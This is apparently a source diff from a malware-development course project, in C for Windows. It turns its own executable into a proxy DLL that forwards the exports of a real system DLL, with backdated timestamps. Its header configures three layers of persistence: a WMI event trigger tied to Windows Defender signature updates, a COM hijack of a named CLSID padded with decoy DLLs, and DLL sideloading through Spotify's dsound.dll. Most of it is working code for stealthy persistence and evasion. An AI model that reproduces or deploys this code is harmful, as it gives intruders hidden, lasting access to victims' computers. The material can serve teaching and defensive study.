{
|
||||
pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j]));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
pEntries[dwEntryIdx].uFuncAddress = 0x00;
|
||||
pEntries[dwEntryIdx].wOrdinal = wOrdinal;
|
||||
|
||||
// Build "MODULE.Name" forward string
|
||||
if (pszName)
|
||||
{
|
||||
dwLen = (DWORD)lstrlenA(pszName) + 1;
|
||||
RtlCopyMemory(pStrings + dwStringOffset, pszName, dwLen);
|
||||
pEntries[dwEntryIdx].pszName = (LPCSTR)(pStrings + dwStringOffset);
|
||||
dwStringOffset += dwLen;
|
||||
|
||||
wsprintfA(szForwardBuf, "%s.%s", szModulePrefix, pszName);
|
||||
dwLen = (DWORD)lstrlenA(szForwardBuf) + 1;
|
||||
RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen);
|
||||
pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset);
|
||||
dwStringOffset += dwLen;
|
||||
}
|
||||
// Build "MODULE.#N" forward string
|
||||
else
|
||||
{
|
||||
pEntries[dwEntryIdx].pszName = NULL;
|
||||
|
||||
wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal);
|
||||
dwLen = (DWORD)lstrlenA(szForwardBuf) + 1;
|
||||
RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen);
|
||||
pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset);
|
||||
dwStringOffset += dwLen;
|
||||
}
|
||||
|
||||
/*
|
||||
DBG("[dbg] Export Built | %-30s | Forward: %s | Ordinal: %u",
|
||||
pEntries[dwEntryIdx].pszName ? pEntries[dwEntryIdx].pszName : "<ordinal-only>",
|
||||
pEntries[dwEntryIdx].pszForward,
|
||||
wOrdinal);
|
||||
*/
|
||||
|
||||
dwEntryIdx++;
|
||||
}
|
||||
|
||||
// Sentinel to mark the end of the table
|
||||
pEntries[dwActualCount].pszName = NULL;
|
||||
pEntries[dwActualCount].uFuncAddress = 0x00;
|
||||
pEntries[dwActualCount].wOrdinal = INVALID_ORDINAL;
|
||||
pEntries[dwActualCount].pszForward = NULL;
|
||||
|
||||
*ppExportTable = pEntries;
|
||||
*pdwExportCount = dwActualCount;
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
if (!bResult)
|
||||
HEAP_FREE(uBlobBuffer);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
|
||||
static BOOL PatchExportAddressTable(IN OUT PULONG_PTR puFileBuffer, IN OUT PDWORD pdwFileSize, IN LPCSTR pszDllName, IN PEXPORT_ENTRY pExportTable, IN DWORD dwExportCount, IN DWORD dwTimeDateStamp)
|
||||
{
|
||||
PIMAGE_NT_HEADERS pNtHdrs = NULL;
|
||||
PIMAGE_SECTION_HEADER pNewSection = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
|
||||
ULONG_PTR uModule = 0x00;
|
||||
ULONG_PTR uNewBuffer = 0x00;
|
||||
PBYTE pBlob = NULL;
|
||||
PDWORD pdwFuncRVAs = NULL;
|
||||
PDWORD pdwNameRVAs = NULL;
|
||||
PWORD pwOrdinals = NULL;
|
||||
DWORD dwNameIdx = 0x00,
|
||||
dwNumExports = 0x00,
|
||||
dwNumNames = 0x00,
|
||||
dwNumFuncSlots = 0x00,
|
||||
dwSectionVA = 0x00,
|
||||
dwSectionRaw = 0x00,
|
||||
dwSectionAlign = 0x00,
|
||||
dwFileAlign = 0x00,
|
||||
dwNewFileSize = 0x00,
|
||||
dwBlobSize = 0x00,
|
||||
dwOffExpDir = 0x00,
|
||||
dwOffFuncRVAs = 0x00,
|
||||
dwOffNameRVAs = 0x00,
|
||||
dwOffOrdinals = 0x00,
|
||||
dwOffDllName = 0x00,
|
||||
dwOffNames = 0x00,
|
||||
dwOffForwards = 0x00;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if (!puFileBuffer || !pdwFileSize || !pszDllName || !pExportTable || !dwExportCount)
|
||||
return FALSE;
|
||||
|
||||
// Needed later to convert absolute function addresses to image-relative RVAs
|
||||
uModule = (ULONG_PTR)GetModuleHandle(NULL);
|
||||
|
||||
// Count exports, named entries, and the highest ordinal to correctly size the sparse FuncRVA table
|
||||
while (dwNumExports < dwExportCount && pExportTable[dwNumExports].wOrdinal != INVALID_ORDINAL)
|
||||
{
|
||||
if (pExportTable[dwNumExports].pszName != NULL)
|
||||
dwNumNames++;
|
||||
|
||||
// FuncRVA table is ordinal-indexed and sparse
|
||||
// Its slot count equals the highest ordinal value, not the export count
|
||||
if ((DWORD)pExportTable[dwNumExports].wOrdinal + 1 > dwNumFuncSlots)
|
||||
dwNumFuncSlots = (DWORD)pExportTable[dwNumExports].wOrdinal;
|
||||
|
||||
dwNumExports++;
|
||||
}
|
||||
|
||||
if (dwNumExports == 0)
|
||||
{
|
||||
DBG("[!] Export Table Is Empty");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
DBG("[dbg] %u Export(s) | %u Named | %u Ordinal-Only | %u FuncRVA Slot(s)", dwNumExports, dwNumNames, dwNumExports - dwNumNames, dwNumFuncSlots);
|
||||
*/
|
||||
|
||||
pNtHdrs = (PIMAGE_NT_HEADERS)(*puFileBuffer + ((PIMAGE_DOS_HEADER)*puFileBuffer)->e_lfanew);
|
||||
if (((PIMAGE_DOS_HEADER)*puFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
DBG("[!] Invalid PE Headers");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Verify there is room in the headers region for one additional section header entry before we start working
|
||||
if ((DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)uNewBuffer) > pNtHdrs->OptionalHeader.SizeOfHeaders)
|
||||
{
|
||||
DBG("[!] No Room For New Section Header (Required: 0x%08X | Available: 0x%08X)",
|
||||
(DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)*puFileBuffer), pNtHdrs->OptionalHeader.SizeOfHeaders);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
dwSectionAlign = pNtHdrs->OptionalHeader.SectionAlignment;
|
||||
dwFileAlign = pNtHdrs->OptionalHeader.FileAlignment;
|
||||
|
||||
// New section is placed after the last existing section, aligned to both section and file alignment
|
||||
{
|
||||
PIMAGE_SECTION_HEADER pLastSection = IMAGE_FIRST_SECTION(pNtHdrs) + (pNtHdrs->FileHeader.NumberOfSections - 1);
|
||||
dwSectionVA = ALIGN_UP(pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize, dwSectionAlign);
|
||||
dwSectionRaw = ALIGN_UP(*pdwFileSize, dwFileAlign);
|
||||
/*
|
||||
DBG("[dbg] New Section | VA: 0x%08X | FileOffset: 0x%08X", dwSectionVA, dwSectionRaw);
|
||||
*/
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------------------------
|
||||
// Compute blob-relative offsets for each sub-region of the export section.
|
||||
//
|
||||
// Blob layout (all offsets are relative to the start of the new section):
|
||||
//
|
||||
// [0x00] IMAGE_EXPORT_DIRECTORY (fixed size)
|
||||
// [+sizeof(EXPDIR)] FuncRVAs[] (4 * dwNumFuncSlots — sparse, ordinal-indexed EAT)
|
||||
// [+...] NameRVAs[] (4 * dwNumNames — RVAs into the name string pool)
|
||||
// [+...] Ordinals[] (2 * dwNumNames — EONT, WORD-sized, DWORD-padded)
|
||||
// [+...] DLL name string (null-terminated)
|
||||
// [+...] Export name strings (one per named export, null-terminated)
|
||||
// [+...] Forward strings (one per forwarded export, after all name strings)
|
||||
// ----------------------------------------------------------------------------------------------
|
||||
|
||||
dwOffExpDir = 0x00;
|
||||
dwOffFuncRVAs = dwOffExpDir + sizeof(IMAGE_EXPORT_DIRECTORY);
|
||||
dwOffNameRVAs = dwOffFuncRVAs + dwNumFuncSlots * sizeof(DWORD);
|
||||
dwOffOrdinals = dwOffNameRVAs + dwNumNames * sizeof(DWORD);
|
||||
dwOffDllName = ALIGN_UP(dwOffOrdinals + dwNumNames * sizeof(WORD), sizeof(DWORD)); // pad to DWORD boundary before placing the DLL name
|
||||
dwOffNames = dwOffDllName + (DWORD)lstrlenA(pszDllName) + 1;
|
||||
|
||||
// Walk the table once to accumulate the variable-length name and forward string sizes
|
||||
dwBlobSize = dwOffNames;
|
||||
for (DWORD i = 0; i < dwNumExports; i++)
|
||||
{
|
||||
if (pExportTable[i].pszName != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszName) + 1;
|
||||
if (pExportTable[i].pszForward != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszForward) + 1;
|
||||
}
|
||||
|
||||
|
||||
// Allocate a new buffer large enough for the original file data plus the aligned export section
|
||||
dwNewFileSize = dwSectionRaw + ALIGN_UP(dwBlobSize, dwFileAlign);
|
||||
HEAP_ALLOC(uNewBuffer, dwNewFileSize);
|
||||
if (!uNewBuffer) return FALSE;
|
||||
|
||||
RtlCopyMemory((PVOID)uNewBuffer, (PVOID)*puFileBuffer, *pdwFileSize);
|
||||
HEAP_FREE(*puFileBuffer);
|
||||
|
||||
// Re-derive NT headers pointer after reallocation
|
||||
pNtHdrs = (PIMAGE_NT_HEADERS)(uNewBuffer + ((PIMAGE_DOS_HEADER)uNewBuffer)->e_lfanew);
|
||||
pBlob = (PBYTE)(uNewBuffer + dwSectionRaw);
|
||||
|
||||
// Fill IMAGE_EXPORT_DIRECTORY.
|
||||
// All address fields are VAs relative to the section base (not file offsets)
|
||||
pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBlob + dwOffExpDir);
|
||||
pExportDir->Name = dwSectionVA + dwOffDllName;
|
||||
pExportDir->Base = 0x01; // ordinals are 1-based
|
||||
pExportDir->TimeDateStamp = dwTimeDateStamp;
|
||||
pExportDir->NumberOfFunctions = dwNumFuncSlots;
|
||||
pExportDir->NumberOfNames = dwNumNames;
|
||||
pExportDir->AddressOfFunctions = dwSectionVA + dwOffFuncRVAs;
|
||||
pExportDir->AddressOfNames = dwSectionVA + dwOffNameRVAs;
|
||||
pExportDir->AddressOfNameOrdinals = dwSectionVA + dwOffOrdinals;
|
||||
|
||||
pdwFuncRVAs = (PDWORD)(pBlob + dwOffFuncRVAs);
|
||||
pdwNameRVAs = (PDWORD)(pBlob + dwOffNameRVAs);
|
||||
pwOrdinals = (PWORD )(pBlob + dwOffOrdinals);
|
||||
|
||||
RtlCopyMemory(pBlob + dwOffDllName, pszDllName, lstrlenA(pszDllName) + 1);
|
||||
|
||||
// Pre-compute where forward strings begin inside the blob
|
||||
dwOffForwards = dwOffNames;
|
||||
for (DWORD i = 0; i < dwNumExports; i++)
|
||||
{
|
||||
if (pExportTable[i].pszName != NULL) dwOffForwards += (DWORD)lstrlenA(pExportTable[i].pszName) + 1;
|
||||
}
|
||||
|
||||
// Main Loop
|
||||
for (DWORD i = 0; i < dwNumExports; i++)
|
||||
{
|
||||
PEXPORT_ENTRY pEntry = &pExportTable[i];
|
||||
DWORD dwStrSize = 0x00;
|
||||
|
||||
if (pEntry->pszForward != NULL)
|
||||
{
|
||||
// For a forwarded export, the FuncRVA slot holds the VA of the forward string (not a function code RVA)
|
||||
pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = dwSectionVA + dwOffForwards;
|
||||
|
||||
dwStrSize = (DWORD)lstrlenA(pEntry->pszForward) + 1;
|
||||
RtlCopyMemory(pBlob + dwOffForwards, pEntry->pszForward, dwStrSize);
|
||||
dwOffForwards += dwStrSize;
|
||||
}
|
||||
else
|
||||
{
|
||||
// For a real export, store the function's RVA relative to the module base
|
||||
// NOTE:
|
||||
// This branch is never executed in this project because we use this function with a table
|
||||
// built by 'BuildExportTableFromDll', which produces only forwarded functions.
|
||||
// For comparison, check out the commented 'g_ExampleExportTable' variable where we have all types of functions
|
||||
pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = (DWORD)(pEntry->uFuncAddress - uModule);
|
||||
}
|
||||
|
||||
if (pEntry->pszName != NULL)
|
||||
{
|
||||
// NameRVAs and Ordinals arrays are parallel
|
||||
// pdwNameRVAs[k] is the RVA of the name string whose ordinal index is pwOrdinals[k].
|
||||
// dwNameIdx links the two
|
||||
pdwNameRVAs[dwNameIdx] = dwSectionVA + dwOffNames;
|
||||
pwOrdinals[dwNameIdx] = (WORD)(pEntry->wOrdinal - pExportDir->Base);
|
||||
dwNameIdx++;
|
||||
|
||||
dwStrSize = (DWORD)lstrlenA(pEntry->pszName) + 1;
|
||||
RtlCopyMemory(pBlob + dwOffNames, pEntry->pszName, dwStrSize);
|
||||
dwOffNames += dwStrSize;
|
||||
|
||||
if (pEntry->pszForward != NULL)
|
||||
DBG("[+] Export[%u] | %-30s | Forward To: %-30s | Ordinal: %u", i, pEntry->pszName, pEntry->pszForward, pEntry->wOrdinal);
|
||||
else
|
||||
DBG("[+] Export[%u] | %-30s | RVA: 0x%08X | Ordinal: %u", i, pEntry->pszName, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (pEntry->pszForward != NULL)
|
||||
DBG("[+] Export[%u] | <ordinal-only> | Forward To: %-30s | Ordinal: %u", i, pEntry->pszForward, pEntry->wOrdinal);
|
||||
else
|
||||
DBG("[+] Export[%u] | <ordinal-only> | RVA: 0x%08X | Ordinal: %u", i, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal);
|
||||
}
|
||||
}
|
||||
|
||||
// AddressOfNames must be sorted ascending (so that the PE loader's binary search logic work)
|
||||
if (dwNumNames > 1)
|
||||
{
|
||||
for (DWORD i = 0; i < dwNumNames - 1; i++)
|
||||
{
|
||||
for (DWORD j = i + 1; j < dwNumNames; j++)
|
||||
{
|
||||
// Resolve both name RVAs back to their string pointers for comparison
|
||||
LPCSTR pszA = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[i] - dwSectionVA));
|
||||
LPCSTR pszB = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[j] - dwSectionVA));
|
||||
|
||||
if (lstrcmpA(pszA, pszB) > 0)
|
||||
{
|
||||
// Swap both the name RVA and its paired ordinal to keep the two arrays in sync
|
||||
DWORD dwTmp = pdwNameRVAs[i];
|
||||
pdwNameRVAs[i] = pdwNameRVAs[j];
|
||||
pdwNameRVAs[j] = dwTmp;
|
||||
|
||||
WORD wTmp = pwOrdinals[i];
|
||||
pwOrdinals[i] = pwOrdinals[j];
|
||||
pwOrdinals[j] = wTmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Append a new section header for the export blob (".edata")
|
||||
pNewSection = IMAGE_FIRST_SECTION(pNtHdrs) + pNtHdrs->FileHeader.NumberOfSections;
|
||||
|
||||
RtlSecureZeroMemory(pNewSection, sizeof(IMAGE_SECTION_HEADER));
|
||||
|
||||
// Populate the new section's data
|
||||
RtlCopyMemory(pNewSection->Name, EDATA_SECTION_NAME, sizeof(EDATA_SECTION_NAME) - 1);
|
||||
pNewSection->Misc.VirtualSize = dwBlobSize; // actual data size
|
||||
pNewSection->VirtualAddress = dwSectionVA;
|
||||
pNewSection->SizeOfRawData = ALIGN_UP(dwBlobSize, dwFileAlign); // padded data size
|
||||
pNewSection->PointerToRawData = dwSectionRaw;
|
||||
pNewSection->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA;
|
||||
|
||||
// Add the new section to the headers
|
||||
pNtHdrs->FileHeader.NumberOfSections++;
|
||||
pNtHdrs->FileHeader.TimeDateStamp = dwTimeDateStamp;
|
||||
pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress = dwSectionVA;
|
||||
pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size = dwBlobSize;
|
||||
// SizeOfImage should be rounded up to SectionAlignment
|
||||
pNtHdrs->OptionalHeader.SizeOfImage = dwSectionVA + ALIGN_UP(dwBlobSize, dwSectionAlign);
|
||||
pNtHdrs->OptionalHeader.CheckSum = ComputePECheckSum((PVOID)uNewBuffer, dwNewFileSize);
|
||||
|
||||
DBG("[+] NT Headers Patched | SizeOfImage: 0x%08X | Export VA: 0x%08X | CheckSum: 0x%08X",
|
||||
pNtHdrs->OptionalHeader.SizeOfImage, dwSectionVA, pNtHdrs->OptionalHeader.CheckSum);
|
||||
|
||||
*puFileBuffer = uNewBuffer;
|
||||
*pdwFileSize = dwNewFileSize;
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
if (!bResult)
|
||||
HEAP_FREE(uNewBuffer);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
|
||||
BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize)
|
||||
{
|
||||
WCHAR wszExePath[MAX_PATH] = { 0 };
|
||||
PBYTE pOriginalDllBuffer = NULL;
|
||||
DWORD dwOriginalDllSize = 0x00;
|
||||
PEXPORT_ENTRY pExportTable = NULL;
|
||||
DWORD dwExportCount = 0x00;
|
||||
DWORD dwDllMainRva = 0x00;
|
||||
DWORD dwOriginalDllTimeStamp = 0x00;
|
||||
ULONG_PTR uFileBuffer = 0x00;
|
||||
HMODULE hCurrentModule = NULL;
|
||||
DWORD dwFileSize = 0x00;
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
|
||||
LPWSTR pwszOriginalDllPath = NULL;
|
||||
|
||||
if (!ppDllBuffer || !pdwDllFileSize || !uDllMain || !pszOriginalDllPath || !pszCopiedDllName)
|
||||
return FALSE;
|
||||
|
||||
*ppDllBuffer = NULL;
|
||||
*pdwDllFileSize = 0x00;
|
||||
|
||||
hCurrentModule = GetModuleHandle(NULL);
|
||||
|
||||
// Calculate DllMain's RVA is to set as the DLL entry point after patching
|
||||
dwDllMainRva = (DWORD)(uDllMain - (ULONG_PTR)hCurrentModule);
|
||||
|
||||
// Read self executable from disk
|
||||
if (GetModuleFileNameW(hCurrentModule, wszExePath, MAX_PATH) == 0)
|
||||
{
|
||||
DBG_LAST_ERROR("GetModuleFileNameW");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!ReadFileFromDiskW(wszExePath, (PBYTE*)&uFileBuffer, &dwFileSize))
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uFileBuffer + ((PIMAGE_DOS_HEADER)uFileBuffer)->e_lfanew);
|
||||
if (((PIMAGE_DOS_HEADER)uFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
DBG("[!] Invalid PE Headers");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
// Flip the DLL characteristic bit and redirect the entry point to DllMain
|
||||
pImgNtHdrs->FileHeader.Characteristics |= IMAGE_FILE_DLL;
|
||||
pImgNtHdrs->OptionalHeader.AddressOfEntryPoint = dwDllMainRva;
|
||||
pImgNtHdrs->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
|
||||
|
||||
// Read the original DLL. Required by GetDllTimestamp and BuildExportTableFromDll
|
||||
if (!(pwszOriginalDllPath = (LPWSTR)ConvertString((LPVOID)pszOriginalDllPath, lstrlenA(pszOriginalDllPath), ENCODING_ANSI_TO_WIDE)))
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
if (!ReadFileFromDiskW(pwszOriginalDllPath, &pOriginalDllBuffer, &dwOriginalDllSize))
|
||||
{
|
||||
DBG("[!] Failed To Read Original DLL: %s", pszOriginalDllPath);
|
||||
HEAP_FREE(pwszOriginalDllPath);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
HEAP_FREE(pwszOriginalDllPath);
|
||||
|
||||
// Get a 30 days older timestamp than the original DLL or 60 days older than now
|
||||
dwOriginalDllTimeStamp = GetDllTimestamp(pOriginalDllBuffer, dwOriginalDllSize);
|
||||
|
||||
// Build a forwarded export table that mirrors the original DLL's exports.
|
||||
if (!BuildExportTableFromDll((ULONG_PTR)pOriginalDllBuffer, dwOriginalDllSize, pszCopiedDllName, &pExportTable, &dwExportCount))
|
||||
{
|
||||
DBG("[!] Failed To Build Export Table From: %s", pszOriginalDllPath);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
// Linker always emits a 'coffgrp' debug entry regardless of debug settings.
|
||||
// So we patch it to match the export table and nt headers
|
||||
{
|
||||
DWORD dwDbgDirRva = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
|
||||
if (dwDbgDirRva)
|
||||
{
|
||||
PIMAGE_DEBUG_DIRECTORY pDebugDir = (PIMAGE_DEBUG_DIRECTORY)(uFileBuffer + RvaToFileOffset(pImgNtHdrs, dwDbgDirRva));
|
||||
DWORD dwDbgCount = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size / sizeof(IMAGE_DEBUG_DIRECTORY);
|
||||
|
||||
for (DWORD i = 0; i < dwDbgCount; i++)
|
||||
pDebugDir[i].TimeDateStamp = dwOriginalDllTimeStamp;
|
||||
}
|
||||
}
|
||||
|
||||
// Append a new ".edata" section to the PE buffer and populate it with the forwarded export directory built using BuildExportTableFromDll
|
||||
if (!PatchExportAddressTable(&uFileBuffer, &dwFileSize, PathFindFileNameA(pszOriginalDllPath), pExportTable, dwExportCount, dwOriginalDllTimeStamp))
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
*ppDllBuffer = (PBYTE)uFileBuffer;
|
||||
*pdwDllFileSize = dwFileSize;
|
||||
|
||||
_END_OF_FUNC:
|
||||
HEAP_FREE(pOriginalDllBuffer);
|
||||
HEAP_FREE(pExportTable);
|
||||
if (!*ppDllBuffer)
|
||||
HEAP_FREE(uFileBuffer);
|
||||
return *ppDllBuffer ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
// If compiled in "Stripped" mode
|
||||
#if !defined(_DEBUG) && !defined(NDEBUG)
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#pragma function(memset)
|
||||
void* memset(void* dst, int val, size_t size)
|
||||
{
|
||||
unsigned char* p = (unsigned char*)dst;
|
||||
while (size--)
|
||||
*p++ = (unsigned char)val;
|
||||
return dst;
|
||||
}
|
||||
|
||||
#pragma function(memcpy)
|
||||
void* memcpy(void* dst, const void* src, size_t size)
|
||||
{
|
||||
unsigned char* d = (unsigned char*)dst;
|
||||
const unsigned char* s = (const unsigned char*)src;
|
||||
while (size--)
|
||||
*d++ = *s++;
|
||||
return dst;
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,278 @@
|
||||
#pragma once
|
||||
#ifndef HEADERS_H
|
||||
#define HEADERS_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <wbemidl.h>
|
||||
#include <WtsApi32.h>
|
||||
#include <sddl.h>
|
||||
#include <DebugMacros.h>
|
||||
|
||||
#pragma comment(lib, "Wtsapi32.lib")
|
||||
#pragma comment(lib, "Wbemuuid.lib")
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// TUNABLE CONSTANTS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
// ==============================================================
|
||||
// LAYER 1 - WMI PERSISTENCE
|
||||
// Monitors a registry value change to trigger execution of our
|
||||
// dropped executable via a WMI event subscription.
|
||||
// ==============================================================
|
||||
#define WMI_OBJECT_PREFIX L"MaldevAcademy"
|
||||
#define WMI_TRIGGER_DELAY 30 // Seconds to wait before firing after the event is triggered
|
||||
#define WMI_TRIGGER_REG_HIVE L"HKEY_LOCAL_MACHINE"
|
||||
#define WMI_TRIGGER_REG_KEY L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates"
|
||||
#define WMI_TRIGGER_REG_VALUE L"SignatureUpdateLastAttempted" // Timestamp that will change when windows defender does a signature update
|
||||
#define WMI_EXE_INSTALLATION_DIR L"%SystemRoot%\\System32\\wbem" // Directory created to host our persisting executable
|
||||
#define WMI_EXE_INSTALLATION_NAME L"SgrmBroker.exe"
|
||||
|
||||
// ==============================================================
|
||||
// LAYER 2 - COM HIJACK
|
||||
// Hijacks a COM object by creating a matching CLSID key under HKCU.
|
||||
// HKCU is checked before HKLM, so our DLL gets loaded instead of the real one.
|
||||
//
|
||||
// The real HKLM registration (used to identify the system DLL to forward calls to) is:
|
||||
// C:\Windows\System32\Windows.StateRepositoryPS.dll
|
||||
//
|
||||
// Fetched by calling:
|
||||
// (Get-Item 'HKLM:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32').GetValue('')
|
||||
//
|
||||
// The hijacked key we create under HKCU is:
|
||||
// HKCU\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32
|
||||
// ==============================================================
|
||||
#define COM_HIJACK_KEY L"Software\\Classes\\CLSID\\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\\InProcServer32"
|
||||
#define COM_THREADING_MODEL L"ThreadingModel"
|
||||
#define COM_THREADING_VALUE L"Both"
|
||||
#define COM_DLL_DIR L"%APPDATA%\\Microsoft\\Common" // Directory created to host our COM DLL
|
||||
#define COM_PAYLOAD_DLL_NAME L"MsComHost.dll" // Our DLL. this is what the hijacked COM object will load
|
||||
#define COM_FORWARD_DLL_NAME L"Common.StateRepositoryRM.dll" // Renamed copy of the original system DLL (Windows.StateRepositoryPS.dll), used to forward exported function calls
|
||||
#define COM_SYSTEM_DLL_NAME L"Windows.StateRepositoryPS.dll" // The original system DLL under System32 that we copy and rename as Common.StateRepositoryRM.dll
|
||||
|
||||
// Real Ms*.dll files copied from System32 next to our payload (MsComHost.dll) to make the directory look legitimate
|
||||
// Fetched by calling:
|
||||
// (Get-ChildItem -Path "C:\Windows\System32" -Filter "Ms*.dll")
|
||||
#define COM_DECOY_DLL_1 L"MsApoFxProxy.dll"
|
||||
#define COM_DECOY_DLL_2 L"msvfw32.dll"
|
||||
#define COM_DECOY_DLL_3 L"msfeeds.dll"
|
||||
#define COM_DECOY_DLL_4 L"msprivs.dll"
|
||||
#define COM_DECOY_DLL_5 L"msvcrt.dll"
|
||||
#define COM_DECOY_DLL_6 L"MSVidCtl.dll"
|
||||
|
||||
#define COM_DECOY_DLLS_COUNT 6
|
||||
#define GET_DLL(N) COM_DECOY_DLL_##N // Resolves to COM_DECOY_DLL_N at compile time
|
||||
#define DLL_ENTRY(N) GET_DLL(N)
|
||||
|
||||
|
||||
// ==============================================================
|
||||
// LAYER 3 - DLL SIDELOADING
|
||||
// Spotify loads dsound.dll from its own directory before System32.
|
||||
// We place our DLL as dsound.dll, and drop the real dsound.dll
|
||||
// (renamed to dspatial.dll) alongside it to forward function calls.
|
||||
// ==============================================================
|
||||
#define SIDELOAD_PAYLOAD_DLL L"dsound.dll" // Our payload DLL name — matches what Spotify loads
|
||||
#define SIDELOAD_FORWARD_DLL L"dspatial.dll" // Renamed original dsound.dll from System32, used to forward exports
|
||||
#define SIDELOAD_APP_DIR L"%APPDATA%\\Spotify" // Spotify's directory — vulnerable to local DLL sideloading
|
||||
|
||||
|
||||
// ==============================================================
|
||||
// PAYLOAD CONFIGURATION
|
||||
// Registry key written during initial execution to signal the persisting WMI executable
|
||||
// that the 2nd and 3rd persistence layers are already deployed,
|
||||
// preventing redundant re-patching to dlls and re-installation.
|
||||
// ==============================================================
|
||||
#define CONFIG_REG_KEY L"Software\\" WMI_OBJECT_PREFIX L"\\XXXX"
|
||||
#define CONFIG_REG_VALUE_NAME L"AppIdentifier"
|
||||
#define CONFIG_REG_VALUE_DATA 0x4C4C554E
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// GENERAL CONSTANTS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#define BUFFER_SIZE_16 16
|
||||
#define BUFFER_SIZE_32 32
|
||||
#define BUFFER_SIZE_64 64
|
||||
#define BUFFER_SIZE_128 128
|
||||
#define BUFFER_SIZE_256 256
|
||||
#define BUFFER_SIZE_512 512
|
||||
#define BUFFER_SIZE_1024 1024
|
||||
#define BUFFER_SIZE_2048 2048
|
||||
#define BUFFER_SIZE_4096 4096
|
||||
#define BUFFER_SIZE_8192 8192
|
||||
|
||||
#define FNV_OFFSET_BASIS 14695981039346656037ULL
|
||||
#define FNV_PRIME 1099511628211ULL
|
||||
#define FNV_MUL_HH 0x9E3779B97F4A7C15ULL
|
||||
#define FNV_MUL_MM 0x6C62272E07BB0142ULL
|
||||
#define FNV_MUL_SS 0xBF58476D1CE4E5B9ULL
|
||||
|
||||
#define MUTEX_NAME_FMT "Global\\%016I64X"
|
||||
|
